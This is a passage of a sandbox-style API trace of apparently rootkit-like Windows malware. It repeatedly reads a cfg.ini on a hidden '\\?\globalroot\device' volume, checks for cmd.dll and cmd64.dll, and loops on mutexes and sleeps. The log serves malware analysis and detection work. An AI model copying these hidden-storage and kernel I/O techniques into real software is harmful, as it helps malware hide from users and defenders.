Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.417] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.417] IdePortDispatch () returned 0x103 [0128.417] KeWaitForMutexObject () returned 0x0 [0128.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.417] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.417] IdePortDispatch () returned 0x103 [0128.418] KeWaitForMutexObject () returned 0x0 [0128.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.418] KeLeaveCriticalRegion () [0128.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.418] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.418] KeEnterCriticalRegion () [0128.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.418] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.418] KeLeaveCriticalRegion () [0128.418] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.418] KeEnterCriticalRegion () [0128.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.418] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.418] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.418] KeLeaveCriticalRegion () [0128.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.418] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.419] KeEnterCriticalRegion () [0128.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.419] ExFreePoolWithTag (P=0xfffffa8003bfe460, Tag=0x0) [0128.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.419] KeLeaveCriticalRegion () [0128.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.419] ReleaseMutex (hMutex=0xf0) returned 1 [0128.419] Sleep (dwMilliseconds=0x124f80) [0128.433] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.433] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.433] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.433] KeEnterCriticalRegion () [0128.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.433] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.433] IdePortDispatch () returned 0x103 [0128.433] KeWaitForMutexObject () returned 0x0 [0128.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.433] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.433] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.433] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.433] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.433] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff7b0 [0128.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.433] KeLeaveCriticalRegion () [0128.433] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.433] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.433] KeEnterCriticalRegion () [0128.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.433] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.433] KeLeaveCriticalRegion () [0128.433] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.433] KeEnterCriticalRegion () [0128.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.434] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.434] IdePortDispatch () returned 0x103 [0128.434] KeWaitForMutexObject () returned 0x0 [0128.434] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.434] KeLeaveCriticalRegion () [0128.434] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.434] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.434] KeEnterCriticalRegion () [0128.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.434] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c2000 [0128.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.434] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.434] IdePortDispatch () returned 0x103 [0128.434] KeWaitForMutexObject () returned 0x0 [0128.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.435] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.435] IdePortDispatch () returned 0x103 [0128.435] KeWaitForMutexObject () returned 0x0 [0128.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.435] KeLeaveCriticalRegion () [0128.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.436] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.436] KeEnterCriticalRegion () [0128.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.436] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.436] KeLeaveCriticalRegion () [0128.436] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.436] KeEnterCriticalRegion () [0128.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.436] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.436] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.436] KeLeaveCriticalRegion () [0128.436] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.436] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.436] KeEnterCriticalRegion () [0128.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.436] ExFreePoolWithTag (P=0xfffffa8003bff7b0, Tag=0x0) [0128.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.436] KeLeaveCriticalRegion () [0128.436] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.436] ReleaseMutex (hMutex=0xf0) returned 1 [0128.436] Sleep (dwMilliseconds=0x124f80) [0128.450] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.456] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.456] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.456] KeEnterCriticalRegion () [0128.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.458] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.458] IdePortDispatch () returned 0x103 [0128.458] KeWaitForMutexObject () returned 0x0 [0128.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.458] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.458] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.458] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.458] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.458] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe460 [0128.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.458] KeLeaveCriticalRegion () [0128.458] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.458] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.458] KeEnterCriticalRegion () [0128.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.458] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.458] KeLeaveCriticalRegion () [0128.458] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.458] KeEnterCriticalRegion () [0128.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.458] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.458] IdePortDispatch () returned 0x103 [0128.458] KeWaitForMutexObject () returned 0x0 [0128.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.459] KeLeaveCriticalRegion () [0128.459] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.459] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.459] KeEnterCriticalRegion () [0128.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a7000 [0128.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.459] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.459] IdePortDispatch () returned 0x103 [0128.459] KeWaitForMutexObject () returned 0x0 [0128.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.459] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.459] IdePortDispatch () returned 0x103 [0128.459] KeWaitForMutexObject () returned 0x0 [0128.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.459] KeLeaveCriticalRegion () [0128.459] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.460] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.460] KeEnterCriticalRegion () [0128.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.460] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.460] KeLeaveCriticalRegion () [0128.460] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.460] KeEnterCriticalRegion () [0128.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.460] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.460] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.460] KeLeaveCriticalRegion () [0128.460] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.460] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.460] KeEnterCriticalRegion () [0128.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.460] ExFreePoolWithTag (P=0xfffffa8003bfe460, Tag=0x0) [0128.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.460] KeLeaveCriticalRegion () [0128.460] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.460] ReleaseMutex (hMutex=0xf0) returned 1 [0128.460] Sleep (dwMilliseconds=0x124f80) [0128.475] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.475] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.475] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.475] KeEnterCriticalRegion () [0128.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.475] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.475] IdePortDispatch () returned 0x103 [0128.476] KeWaitForMutexObject () returned 0x0 [0128.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.476] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.476] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.476] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.476] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.476] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff450 [0128.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.476] KeLeaveCriticalRegion () [0128.476] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.476] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.476] KeEnterCriticalRegion () [0128.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.476] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.476] KeLeaveCriticalRegion () [0128.476] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.476] KeEnterCriticalRegion () [0128.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.476] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.476] IdePortDispatch () returned 0x103 [0128.477] KeWaitForMutexObject () returned 0x0 [0128.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.478] KeLeaveCriticalRegion () [0128.478] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.478] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.478] KeEnterCriticalRegion () [0128.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.478] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ac000 [0128.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.478] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.478] IdePortDispatch () returned 0x103 [0128.478] KeWaitForMutexObject () returned 0x0 [0128.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.478] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.478] IdePortDispatch () returned 0x103 [0128.478] KeWaitForMutexObject () returned 0x0 [0128.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.479] KeLeaveCriticalRegion () [0128.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.479] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.479] KeEnterCriticalRegion () [0128.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.479] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.479] KeLeaveCriticalRegion () [0128.479] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.479] KeEnterCriticalRegion () [0128.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.479] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.479] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe1c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.479] KeLeaveCriticalRegion () [0128.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.479] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 